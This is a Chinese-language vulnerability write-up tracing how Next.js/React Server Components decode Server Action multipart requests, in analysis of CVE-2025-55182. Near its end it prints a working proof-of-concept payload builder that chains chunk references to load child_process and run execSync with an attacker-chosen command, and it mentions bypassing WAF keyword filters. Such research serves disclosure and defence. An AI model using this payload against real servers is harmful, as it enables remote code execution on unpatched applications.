CVE-2025-55182深度解析
跟完了React解析next-action头动作的全逻辑链,网上很少有全链的解析跟进
我算也是,浅浅涉足了一下React吧
1.React框架的next-action初步
业务逻辑的跟进
关于next-action这个头,是一种函数身份的定位,也就是一串hax值,react框架构建以来,每个函数会绑定一串hax,作为标识符.
当然我的审计是从next-action的识别及后续开始的,所以我暂时不会在初步构建以及hax加密这块去做工作。
另外,为了加强文档可读性,我会较多换行。那就 START
if (actionId) { const forwardedWorker = (0, _actionutils.selectWorkerForForwarding)(actionId, page, serverActionsManifest); // If forwardedWorker is truthy, it means there isn't a worker for the action // in the current handler, so we forward the request to a worker that has the action. if (forwardedWorker) { return { type: 'done', result: await createForwardedActionResponse(req, res, host, forwardedWorker, ctx.renderOpts.basePath) }; } }其中selectWorkerForForwarding这个函数,溯源之后是.d.ts的声明文档,在同目录下的js文件处找到了源function。
function selectWorkerForForwarding(actionId, pageName, serverActionsManifest) { var _serverActionsManifest__actionId; const workers = (_serverActionsManifest__actionId = serverActionsManifest[process.env.NEXT_RUNTIME === 'edge' ? 'edge' : 'node'][actionId]) == null ? void 0 : _serverActionsManifest__actionId.workers; const workerName = normalizeWorkerPageName(pageName); // no workers, nothing to forward to if (!workers) return; // if there is a worker for this page, no need to forward it. if (workers[workerName]) { return; } // otherwise, grab the first worker that has a handler for this action id return denormalizeWorkerPageName(Object.keys(workers)[0]);}这里的serverActionManifest参数类似一张actionid和worker进程的对应表单,下面就是return,其中denormalizeWorkerPagename是返回转发路径的。
也就是说,serverActionsManifest的action匹配的workers值被赋值给workers,然后denormalizeWorkerPageName将所有对应的workers的路径返回。
*/ function denormalizeWorkerPageName(bundlePath) { return (0, _apppaths.normalizeAppPath)((0, _removepathprefix.removePathPrefix)(bundlePath, 'app'));}接下来就是1返回的createForwardedActionResponse,简化的最终请求就是
const response = await fetch(fetchUrl, { method: 'POST', body, duplex: 'half', headers: forwardedHeaders, redirect: 'manual', next: { // @ts-ignore internal: 1 } });body经过strearm之后可以分块读取数据,body是我们的req,headers是扒res的cookie之类的字段送过去
const forwardedHeaders = getForwardedHeaders(req, res);以上,next-action的前置分析完成,再者就到了action的server接收以及解析。
2.action转发处理
我会叙述multipart多块在进行worker转发之后的处理情况。
因为转发之后会带x-action-forwarded。那么就走的是handler-action的
isFetchAction分支,以下是如此分支的源码
因为分支有有效的有8段,以下会一一赘述
if (isFetchAction) { // A fetch action with a multipart body. boundActionArguments = await decodeReply(formData, serverModuleMap, { temporaryReferences });依旧异步函数,等待decodeReply的return
if (isMultipartAction) { if (isFetchAction) { // A fetch action with a multipart body. const busboy = require('next/dist/compiled/busboy')({ defParamCharset: 'utf8', headers: req.headers, limits: { fieldSize: bodySizeLimitBytes } });在这里走了多表单的分支,引入了busboy,这样可以以boundary分界之后进行解析。但是这里只是引入该行为,动作在后面。limit规定包大小范围
if (isFetchAction) { const actionResult = await generateFlight(req, ctx, requestStore, { actionResult: Promise.resolve(returnVal), // if the page was not revalidated, or if the action was forwarded from another worker, we can skip the rendering the flight tree skipFlight: !workStore.pathWasRevalidated || actionWasForwarded, temporaryReferences }); return { type: 'done', result: actionResult };这里因为不明白returnVal变量是什么,我们进行溯源。查找到returnVal是一个调用actionmod进行fetch的,也就是module,而查找其的函数如下
function getActionModIdOrError(actionId, serverModuleMap) { var _serverModuleMap_actionId; // if we're missing the action ID header, we can't do any further processing if (!actionId) { throw Object.defineProperty(new _invarianterror.InvariantError("Missing 'next-action' header."), "__NEXT_ERROR_CODE", { value: "E664", enumerable: false, configurable: true }); } const actionModId = (_serverModuleMap_actionId = serverModuleMap[actionId]) == null ? void 0 : _serverModuleMap_actionId.id; if (!actionModId) { throw Object.defineProperty(new Error(`Failed to find Server Action "${actionId}". This request might be from an older or newer deployment.\nRead more: https://nextjs.org/docs/messages/failed-to-find-server-action`), "__NEXT_ERROR_CODE", { value: "E665", enumerable: false, configurable: true }); } return actionModId;在modluemap中找到action对应的modlue,然后返回hax。紧接着就是
const actionMod = await ComponentMod.next_app.require(actionModId);
如此对这个modlue进行异步include操作,也就是一定会回状态。
actionHandler = actionMod[actiomid]
接着这个modlue状态被用于参数actionHandler
const returnVal = await executeActionAndPrepareForRender(actionHandler, boundActionArguments, workStore, requestStore).finally(()=>{ addRevalidationHeader(res, { workStore, requestStore });这里executeActionAndPrepareForRender将action的modlue挂到状态上进行fetch server action,然后await结果。回到3
最后return的是包装完的flight数据流。也就是actionResult。
如此一来,action和表单的处理就完成了,也就是从二次转发到结束返回RSC数据的全流程,但是还差最后的,也就是busboy解析完成的字段。
最后返回的RSC数据流actionResult由Promise.resolve(returnVal),req,ctx,requeststore包装成flight.
其中的returnval逻辑
const returnVal = await executeActionAndPrepareForRender(actionHandler, boundActionArguments, workStore, requestStore).finally(()=>{ addRevalidationHeader(res, { workStore, requestStore }); });executeActionAndPrepareForRender函数将这些参数变量包装成响应格式返回,actionHandler有对应的模块信息,boundActionArguments便是muiltpart进busboy后过decodeReplyFromBusboy解析的结果。
至于我们的目标,也就是RCE,也发生在这一块。
3.muiltpart的server解析
if (isFetchAction) { // A fetch action with a multipart body. const busboy = require('next/dist/compiled/busboy')({ defParamCharset: 'utf8', headers: req.headers, limits: { fieldSize: bodySizeLimitBytes } }); // We need to use `pipeline(one, two)` instead of `one.pipe(two)` to propagate size limit errors correctly. pipeline(sizeLimitedBody, busboy, // Avoid unhandled errors from `pipeline()` by passing an empty completion callback. // We'll propagate the errors properly when consuming the stream. ()=>{}); boundActionArguments = await decodeReplyFromBusboy(busboy, serverModuleMap, { temporaryReferences });前置我们已知busboy过decodeReplyFromBusboy解析后返回了boundActionArguments,body被pipeline进了busboy,这里busboy处理逻辑不做赘述。
因为
pipeline(sizeLimitedBody, busboy, // Avoid unhandled errors from `pipeline()` by passing an empty completion callback. // We'll propagate the errors properly when consuming the stream. ()=>{});所以参数busboy是作为流式数据源,serverModuleMap便是函数的映射表。
我们接着溯源到函数decodeReplyFromBusboy
exports.decodeReplyFromBusboy = function ( busboyStream, webpackMap, options ) { var response = createResponse( webpackMap, "", options ? options.temporaryReferences : void 0 ), pendingFiles = 0, queuedFields = []; busboyStream.on("field", function (name, value) { 0 < pendingFiles ? queuedFields.push(name, value) : resolveField(response, name, value); }); busboyStream.on("file", function (name, value, _ref2) { var filename = _ref2.filename, mimeType = _ref2.mimeType; if ("base64" === _ref2.encoding.toLowerCase()) throw Error( "React doesn't accept base64 encoded file uploads because we don't expect form data passed from a browser to ever encode data that way. If that's the wrong assumption, we can easily fix it." ); pendingFiles++; var JSCompiler_object_inline_chunks_251 = []; value.on("data", function (chunk) { JSCompiler_object_inline_chunks_251.push(chunk); }); value.on("end", function () { var blob = new Blob(JSCompiler_object_inline_chunks_251, { type: mimeType }); response._formData.append(name, blob, filename); pendingFiles--; if (0 === pendingFiles) { for (blob = 0; blob < queuedFields.length; blob += 2) resolveField( response, queuedFields[blob], queuedFields[blob + 1] ); queuedFields.length = 0; } }); }); busboyStream.on("finish", function () { close(response); }); busboyStream.on("error", function (err) { reportGlobalError(response, err); }); return getChunk(response, 0); };接收的busboystream便是busboy对象输出的数据流,webpackMap也就是映射,便是serverModuleMap,只是换了个名字。
接下来便是busboystream输出的分块表单,进行回调函数处理,并且设置了队列queuedFields
busboyStream.on("field", function (name, value) { 0 < pendingFiles ? queuedFields.push(name, value) : resolveField(response, name, value); });4是控制field字段的队列,下面都是针对data为file情况的解析。
目光拉回creatResponse
var response = createResponse( webpackMap, "", options ? options.temporaryReferences : void 0 ),溯源:
function createResponse( bundlerConfig, formFieldPrefix, temporaryReferences ) { var backingFormData = 3 < arguments.length && void 0 !== arguments[3] ? arguments[3] : new FormData(), chunks = new Map(); return { _bundlerConfig: bundlerConfig, _prefix: formFieldPrefix, _formData: backingFormData, _chunks: chunks, _closed: !1, _closedReason: null, _temporaryReferences: temporaryReferences }; }webpackMap作为bundlerconfig传入,校验之后创建new formdata()对象
变量在这里再次更新后return
bundlerconfig,也就是webpackmap=_bundlerconfig。 _chunks变为new Map()对象.
_prefix为空字符串。
最后在这些状态挂在response对象的情况下进行getchunk
return getChunk(response, 0);并且注意到挂载队列的处理函数是resolveField
溯源
function resolveField(response, key, value) { response._formData.append(key, value); var prefix = response._prefix; key.startsWith(prefix) && ((response = response._chunks), (key = +key.slice(prefix.length)), (prefix = response.get(key)) && resolveModelChunk(prefix, value, key)); }这里response已经是挂载成一个集函数map的对象了,并且prefix因为是空字符恒成立,并且将response挂载为chunks
这里的chunks为一个空的对象。上面的key就是name字段,而response便是多表单为解析的空map()对象
这里区分一下,createResponse行为相对是单次的,而resolveField是每次表单执行一次
阶段来说。代码块8的response是有formdata和map两个空对象的
每次都将key和value字段存入formdata。但是另外的chunk开始是空的,也就是取不到key。
也就进不了resolveModelChunk分支。
但是每次decodeReplyFromBusboy结束前都会进一次getchunk。
继续跟进吧
4.表单核心解析
源码如下
function getChunk(response, id) { var chunks = response._chunks, chunk = chunks.get(id); chunk || ((chunk = response._formData.get(response._prefix + id)), (chunk = null != chunk ? new Chunk("resolved_model", chunk, id, response) : response._closed ? new Chunk("rejected", null, response._closedReason, response) : createPendingChunk(response)), chunks.set(id, chunk)); return chunk; }如此return的是一个chunk对象,并且会将它set进chunks,也就是_chunks块中。
也就是说,会将response=>也就是挂载了很多空或非空状态的对象挂载在对象chunk上。
并且chunk挂载在对象chunks上,chunks对应了挂载在response上的_chunks。
也就是说,这是一个循环引用。这样chunk引用也需要访问response的上下文,可以避免数据多次循环传输
也就是说,一个集合对象被循环挂载了,身上属性有id,chunk,以及response。
这里作为参数的chunk其实是来自formdata的字段值。最后return chunk(或者正在pending中)
然后回到函数resolveField
因为response和chunk对象是循环引用的,所以response.get(key),而key在这里又是name
又因为,每次都是一个新的状态,name对应的值对这条路来说是一次性的。
所以get到对应的chunk,赋值给prefix。
接下来就是esolveModelChunk(prefix, value, key));
value是name的值,key是name字段,prefix是chunk对象
function resolveModelChunk(chunk, value, id) { if ("pending" !== chunk.status) (chunk = chunk.reason), "C" === value[0] ? chunk.close("C" === value ? '"$undefined"' : value.slice(1)) : chunk.enqueueModel(value); else { var resolveListeners = chunk.value, rejectListeners = chunk.reason; chunk.status = "resolved_model"; chunk.value = value; chunk.reason = id; if (null !== resolveListeners) switch ((initializeModelChunk(chunk), chunk.status)) { case "fulfilled": wakeChunk(resolveListeners, chunk.value); break; case "pending": case "blocked": case "cyclic": if (chunk.value) for (value = 0; value < resolveListeners.length; value++) chunk.value.push(resolveListeners[value]); else chunk.value = resolveListeners; if (chunk.reason) { if (rejectListeners) for (value = 0; value < rejectListeners.length; value++) chunk.reason.push(rejectListeners[value]); } else chunk.reason = rejectListeners; break; case "rejected": rejectListeners && wakeChunk(rejectListeners, chunk.reason); } } }在chunk并不是pending状态下给chunk赋予多个属性
并且当value不为null时,调用函数initializeModelChunk
function initializeModelChunk(chunk) { var prevChunk = initializingChunk, prevBlocked = initializingChunkBlockedModel; initializingChunk = chunk; initializingChunkBlockedModel = null; var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value; chunk.status = "cyclic"; chunk.value = null; chunk.reason = null; try { var rawModel = JSON.parse(resolvedModel), value = reviveModel( chunk._response, { "": rawModel }, "", rawModel, rootReference ); if ( null !== initializingChunkBlockedModel && 0 < initializingChunkBlockedModel.deps ) (initializingChunkBlockedModel.value = value), (chunk.status = "blocked"); else { var resolveListeners = chunk.value; chunk.status = "fulfilled"; chunk.value = value; null !== resolveListeners && wakeChunk(resolveListeners, value); }这里已经到达核心了,重点就是chunk的value,也就是name的value被带进了函数reviveModel
跟进
function reviveModel(response, parentObj, parentKey, value, reference) { if ("string" === typeof value) return parseModelString( response, parentObj, parentKey, value, reference ); if ("object" === typeof value && null !== value) if ( (void 0 !== reference && void 0 !== response._temporaryReferences && response._temporaryReferences.set(value, reference), Array.isArray(value)) ) for (var i = 0; i < value.length; i++) value[i] = reviveModel( response, value, "" + i, value[i], void 0 !== reference ? reference + ":" + i : void 0 ); else for (i in value) hasOwnProperty.call(value, i) && ((parentObj = void 0 !== reference && -1 === i.indexOf(":") ? reference + ":" + i : void 0), (parentObj = reviveModel( response, value, i, value[i], parentObj )), void 0 !== parentObj ? (value[i] = parentObj) : delete value[i]); return value; }五个参数分别是(
chunk._response, { "": rawModel }, "", rawModel, rootReference )rawModel就是上述的value。
这里走的string。进入value前缀特殊处理
function parseModelString(response, obj, key, value, reference) { if ("$" === value[0]) { switch (value[1]) { case "$": return value.slice(1); case "@": return ( (obj = parseInt(value.slice(2), 16)), getChunk(response, obj) ); case "F": return ( (value = value.slice(2)), (value = getOutlinedModel( response, value, obj, key, createModel )), loadServerReference$1( response, value.id, value.bound, initializingChunk, obj, key ) ); case "T": if ( void 0 === reference || void 0 === response._temporaryReferences ) throw Error( "Could not reference an opaque temporary reference. This is likely due to misconfiguring the temporaryReferences options on the server." ); return createTemporaryReference( response._temporaryReferences, reference ); case "Q": return ( (value = value.slice(2)), getOutlinedModel(response, value, obj, key, createMap) ); case "W": return ( (value = value.slice(2)), getOutlinedModel(response, value, obj, key, createSet) ); case "K": obj = value.slice(2); var formPrefix = response._prefix + obj + "_", data = new FormData(); response._formData.forEach(function (entry, entryKey) { entryKey.startsWith(formPrefix) && data.append(entryKey.slice(formPrefix.length), entry); }); return data; case "i": return ( (value = value.slice(2)), getOutlinedModel(response, value, obj, key, extractIterator) ); case "I": return Infinity; case "-": return "$-0" === value ? -0 : -Infinity; case "N": return NaN; case "u": return; case "D": return new Date(Date.parse(value.slice(2))); case "n": return BigInt(value.slice(2)); } switch (value[1]) { case "A": return parseTypedArray(response, value, ArrayBuffer, 1, obj, key); case "O": return parseTypedArray(response, value, Int8Array, 1, obj, key); case "o": return parseTypedArray(response, value, Uint8Array, 1, obj, key); case "U": return parseTypedArray( response, value, Uint8ClampedArray, 1, obj, key ); case "S": return parseTypedArray(response, value, Int16Array, 2, obj, key); case "s": return parseTypedArray(response, value, Uint16Array, 2, obj, key); case "L": return parseTypedArray(response, value, Int32Array, 4, obj, key); case "l": return parseTypedArray(response, value, Uint32Array, 4, obj, key); case "G": return parseTypedArray(response, value, Float32Array, 4, obj, key); case "g": return parseTypedArray(response, value, Float64Array, 8, obj, key); case "M": return parseTypedArray(response, value, BigInt64Array, 8, obj, key); case "m": return parseTypedArray( response, value, BigUint64Array, 8, obj, key ); case "V": return parseTypedArray(response, value, DataView, 1, obj, key); case "B": return ( (obj = parseInt(value.slice(2), 16)), response._formData.get(response._prefix + obj) ); } switch (value[1]) { case "R": return parseReadableStream(response, value, void 0); case "r": return parseReadableStream(response, value, "bytes"); case "X": return parseAsyncIterable(response, value, !1); case "x": return parseAsyncIterable(response, value, !0); } value = value.slice(1); return getOutlinedModel(response, value, obj, key, createModel); } return value; }划出重点
case "$": return value.slice(1);case "@": obj = parseInt(value.slice(2), 16); return getChunk(response, obj);case "F": value = value.slice(2); value = getOutlinedModel(response, value, obj, key, createModel); return loadServerReference$1( response, value.id, value.bound, initializingChunk, obj, key );这里的value第二位为F时的逻辑可以重点看看,取用name的值的第三位,去进行一个getOutlineModel
其中参数可以看看我的注释。
接着上文看看函数getOutlinedModel
function getOutlinedModel(response, reference, parentObject, key, map) { reference = reference.split(":"); var id = parseInt(reference[0], 16); id = getChunk(response, id); switch (id.status) { case "resolved_model": initializeModelChunk(id); } switch (id.status) { case "fulfilled": parentObject = id.value; for (key = 1; key < reference.length; key++) parentObject = parentObject[reference[key]]; return map(response, parentObject); case "pending": case "blocked": case "cyclic": var parentChunk = initializingChunk; id.then( createModelResolver( parentChunk, parentObject, key, "cyclic" === id.status, response, map, reference ), createModelReject(parentChunk) ); return null; default: throw id.reason; } }这里选择在getchunk里再跑一便返回过了处理的id和上下文response,相当于校验一遍。
然后确认renturn后的id状态,如果已经resolve就返回
这里也许有人会怀疑重复解析的问题,因为initializeModelChunk是传入的原点。
但是这忽略了value的再次引用重复解析,比如$2
传入一次就会再次解析一次,一直到solve。接着
分支fulfilled可以看到它在遍历我们的value,取值并且在map中转为统一格式。这条分支是已经解析完值取值的分支
看pending/blocked/cyclic分支,也就是没轮到块解析时,
会给chunk占位。看看处理函数的参数意味
createModelResolver( parentChunk, // 谁在等(当前初始化的 chunk,比如 chunk8) parentObject, // 要回填的那个对象(比如 chunk8.value 里的某个对象) key, // 回填的字段名(比如 "_response" 或者数组下标) "cyclic" === id.status, // 这次等待是否因为环(true/false) response, // 解码上下文(包含 _chunks/_formData/_prefix 等) map, // 映射函数(把取到的值进一步 revive/包装) reference // 引用路径数组,比如 ["7"] 或 ["2","then"]) { if (initializingChunkBlockedModel) { var blocked = initializingChunkBlockedModel; cyclic || blocked.deps++; } else blocked = initializingChunkBlockedModel = { deps: cyclic ? 0 : 1, value: null }; return function (value) { for (var i = 1; i < path.length; i++) value = value[path[i]]; parentObject[key] = map(response, value); "" === key && null === blocked.value && (blocked.value = parentObject[key]); blocked.deps--; 0 === blocked.deps && "blocked" === chunk.status && ((value = chunk.value), (chunk.status = "fulfilled"), (chunk.value = blocked.value), null !== value && wakeChunk(value, blocked.value)); }; }这里是算block的依赖的,如果依赖被使用就欠着。 如果 deps==0,就把父 chunk 从 blocked 变 fulfilled,并唤醒等待它的人 。
导致模型可以调用,进一步导致了可以绕过waf,比如prototype和construct
等。进一步加深了CVE-2025-55812的危害,以及衍生的55813等等。
function get_payload_body(cmd) { const s = JSON.stringify.bind(JSON); const payload = { 0: { "status": "resolved_model", "then": "$1:then", "_response": "$5", "value": s({ "_preloads": ["$8"], "then": "$2:map", "0": "$a", "length": 1 }), "reason": 0, }, 1: "$@0",
// array 2: [],
// _temporaryReferences 3: { "length": 0, "set": "$2:push" },
// Module._load 4: { "id": "foo", "bound": ["child_process"] }, 5: { "_bundlerConfig": { "foo": { "id": "module", "name": "_load", "chunks": [] } }, "_prefix": "$1:_response:_prefix", "_formData": "$1:_response:_formData", "_chunks": "$1:_response:_chunks" }, 6: "$F4",
// fake response for getting child_process 7: { "_prefix": "", "_chunks": "$1:_response:_chunks", "_formData": { "get": "$6", } }, 8: { "_prefix": "", "_chunks": "$1:_response:_chunks", "_formData": "$1:_response:_formData", // use _temporaryReferences to push all reason, used to deliver child_process "_temporaryReferences": "$3", }, 9: { "_prefix": `${cmd} ; #`, "_chunks": "$1:_response:_chunks", "_formData": { "get": "$3:1:execSync", // execSync }, }, 10: { "status": "resolved_model", "then": "$1:then", "_response": "$7", "reason": -1, "value": s({ "status": "resolved_model", "then": "$1:then", "reason": { "0": "$B33", // emit, reason will be child_process "length": 1, "toString": "$2:pop" }, "_response": "$8", // reason will be stored in _temporaryReferences "value": s({ "status": "resolved_model", "then": "$1:then", "_response": "$9", "reason": -1, "value": s(["$B77"]), // emit result }), }), }, }
const formdata = newFormData(); for (const [key, value] ofObject.entries(payload)) { formdata.append(key, s(value)); }
return formdata;}0块占位之后,让1引用0未解析的原片段,然后这样可以进入pending分支,这样
可以启动时稳定路径。然后就是一步步用chunk去改映射,然后拿到可以执行命令的对象。
大体上的核心反序列也就是调用.then和chunk对象的映射。
跟这么长的链子花了我不少功夫,但也不失一些乐趣吧,今天还是情人节~
もし,人と人繋がっていたら,
Then I should be in that golden wheat field
My Dear MoMoru

部分信息可能已经过时





